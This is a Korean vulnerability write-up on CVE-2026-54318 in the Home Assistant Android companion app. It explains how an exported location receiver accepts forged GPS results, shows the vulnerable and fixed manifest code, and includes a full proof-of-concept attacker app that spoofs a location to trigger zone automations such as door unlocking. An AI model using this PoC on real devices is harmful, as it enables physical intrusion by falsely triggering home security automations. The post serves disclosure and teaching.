[하루한줄] CVE-2026-54318 : Home Assistant의 부적절한 컴포넌트 export로 인한 GPS 위치 위조 기반 자동화 무단 트리거
URL
Target
- Home Assistant Companion for Android ≤ 2026.5.2
Explain
Open Home Foundation의 Home Assistant는 오픈소스 홈 오토메이션 플랫폼으로, Android 앱은 사용자의 위치를 서버로 보고하는 역할을 합니다. 이 위치 정보는 단순 로깅이 아니라 zone(구역) 기반 자동화의 트리거로 쓰입다. 예를 들어 “사용자가 집 반경에 들어오면 현관문 잠금 해제”, “차고 반경 진입 시 차고 개방”, “집에 도착하면 알람 해제” 같은 자동화가 위치를 조건으로 동작합니다. 즉, 앱이 서버에 보고하는 위치의 무결성이 곧 물리 보안 장치의 무결성과 직결됩니다.
앱은 위치를 Google Play Services의 fused location provider로부터 받습니다. 위치 갱신은 PendingIntent를 통해 LocationSensorManager라는 BroadcastReceiver로 전달되며, Play Services가 LocationResult를 브로드캐스트 extra에 실어 넘겨줍니다. 앱은 이 브로드캐스트를 받아 좌표를 추출하고 서버로 전송합니다.
문제는 이 수신 컴포넌트가 외부에 노출(exported)돼 있었다는 점입니다.
Root Cause
<!-- app/src/main/AndroidManifest.xml -->
<receiver
android:name=".sensors.LocationSensorManager"
android:enabled="true"
android:exported="true"
tools:ignore="ExportedReceiver">
<intent-filter>
<actionandroid:name="io.homeassistant.companion.android.background.REQUEST_ACCURATE_UPDATE"/>
</intent-filter>
</receiver>
취약점은 AndroidManifest.xml에 노출된 리시버가 존재합니다. 취약 버전의 매니페스트에서 LocationSensorManager는 android:exported="true"로 선언돼 있었습니다.
공격자는 intent-filter에 선언된 REQUEST_ACCURATE_UPDATE가 아니라, 리시버가 내부적으로 처리하는 다른 액션을 명시적 intent로 얼마든지 보낼 수 있습니다.
// LocationSensorManager.kt
constval ACTION_PROCESS_LOCATION="io.homeassistant.companion.android.background.PROCESS_UPDATES"
privatefungetLocationUpdateIntent(isGeofence: Boolean): PendingIntent{
val intent=Intent(latestContext, LocationSensorManager::class.java)
intent.action=if(isGeofence) ACTION_PROCESS_GEOelse ACTION_PROCESS_LOCATION
return PendingIntent.getBroadcast(
latestContext,0, intent,
PendingIntent.FLAG_UPDATE_CURRENTor PendingIntent.FLAG_MUTABLE,
)
}
앱은 fused provider로부터 위치를 받기 위해 자기 자신(LocationSensorManager)을 타겟으로 하는 PendingIntent를 만든다. 액션은 다음과 같습니다. ACTION_PROCESS_LOCATION
Play Services는 이 PendingIntent로 브로드캐스트를 보내면서 LocationResult를 extra에 담습니다.
// LocationSensorManager.k
overridefunonReceive(context: Context, intent: Intent){
latestContext= context
sensorWorkerScope.launch{
when(intent.action){
...
ACTION_PROCESS_LOCATION,
ACTION_PROCESS_HIGH_ACCURACY_LOCATION,
->handleLocationUpdate(intent)
...
}
}
}
onReceive는 액션에 따라 분기하는데, ACTION_PROCESS_LOCATION이 오면 handleLocationUpdate(intent)를 호출합니다.
// LocationSensorManager.kt
privatesuspendfunhandleLocationUpdate(intent: Intent){
Timber.d("Received location update.")
val serverIds=getEnabledServers(latestContext, backgroundLocation)
...
LocationResult.extractResult(intent)?.lastLocation?.let{ location->
val minAccuracy=...?: DEFAULT_MINIMUM_ACCURACY
...
if(location.accuracy> minAccuracy){
Timber.w("Location accuracy didn't meet requirements, disregarding:$location")
...
} else {
HighAccuracyLocationService.updateNotificationAddress(latestContext, location) serverIds.forEach{
ioScope.launch{sendLocationUpdate(location, it, trigger)}
}
}
}
}
그리고 handleLocationUpdate는 인텐트에서 곧바로 LocationResult를 추출하고, 정확도 조건만 통과하면 그 좌표를 그대로 서버로 전송합니다. 이 인텐트가 정말 Play Services가 보낸 것인지 확인하는 로직이 존재하지 않습니다.
정리하면 root cause는 크게 두 결함의 결합입니다.
LocationSensorManager가 permission 없이exported="true"→ 임의의 로컬 앱이 명시적 intent로 이 리시버에 직접 접근 가능.handleLocationUpdate가 인텐트의LocationResult를 무조건 신뢰 → 발신자(호출 패키지/권한) 검증 부재.
따라서 공격자는 명시적 intent에 ACTION_PROCESS_LOCATION 액션과 위조된 LocationResult 를 실어 보내는 것만으로, 앱이 그 가짜 좌표를 사용자의 실제 위치로 서버에 보고하게 만들 수 있습니다. 게다가 이 방식은 위치를 직접 주입하므로 Android 개발자 모드의 Mock Location 게이트를 우회합니다. 필요한 런타임 권한은 없습니다.
PoC
PoC는 다음과 같아. 위조 Location을 만들어 LocationResult로 감싸고, 타겟 앱의 노출된 리시버를 명시적 컴포넌트로 지정해 PROCESS_UPDATES 액션 브로드캐스트를 보냅니다. PoC 동작의 필요한 권한은 없습니다.
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.attacker.hascpoc">
<application android:label="HA-Spoof-PoC">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
// build.gradle (attacker app)
// implementation("com.google.android.gms:play-services-location:21.3.0")
package com.attacker.hascpoc
import android.content.ComponentName
import android.content.Intent
import android.location.Location
import android.os.Bundle
import android.os.SystemClock
import androidx.appcompat.app.AppCompatActivity
import com.google.android.gms.location.LocationResult
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val fake = Location("gps").apply {
latitude = 37.5665
longitude = 126.9780
accuracy = 1.0f
time = System.currentTimeMillis()
elapsedRealtimeNanos = SystemClock.elapsedRealtimeNanos()
}
val locationResult = LocationResult.create(listOf(fake))
val intent = Intent().apply {
component = ComponentName(
"io.homeassistant.companion.android",
"io.homeassistant.companion.android.sensors.LocationSensorManager",
)
action = "io.homeassistant.companion.android.background.PROCESS_UPDATES"
putExtra("com.google.android.gms.location.EXTRA_LOCATION_RESULT", locationResult)
}
sendBroadcast(intent)
}
}
공격 앱은 LocationResult를 구성해야 하므로 play-services-location 의존성이 필요합니다.
패치는 PR #6837에서 이뤄졌습니다. 핵심은 LocationSensorManager 자체를 비-exported로 되돌리고, 외부 자동화 용도의 안전한 액션(REQUEST_ACCURATE_UPDATE)만 받는 얇은 프록시 리시버를 별도로 두는 것입니다.
<!-- app/src/main/AndroidManifest.xml (fixed) -->
<receiver
android:name=".sensors.LocationSensorManager"
android:enabled="true"
android:exported="false" /> <!-- 더 이상 외부 접근 불가 -->
<receiver
android:name=".sensors.RequestAccurateLocationReceiver"
android:enabled="true"
android:exported="true"
tools:ignore="ExportedReceiver">
<intent-filter>
<action android:name="io.homeassistant.companion.android.background.REQUEST_ACCURATE_UPDATE" />
</intent-filter>
</receiver>
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.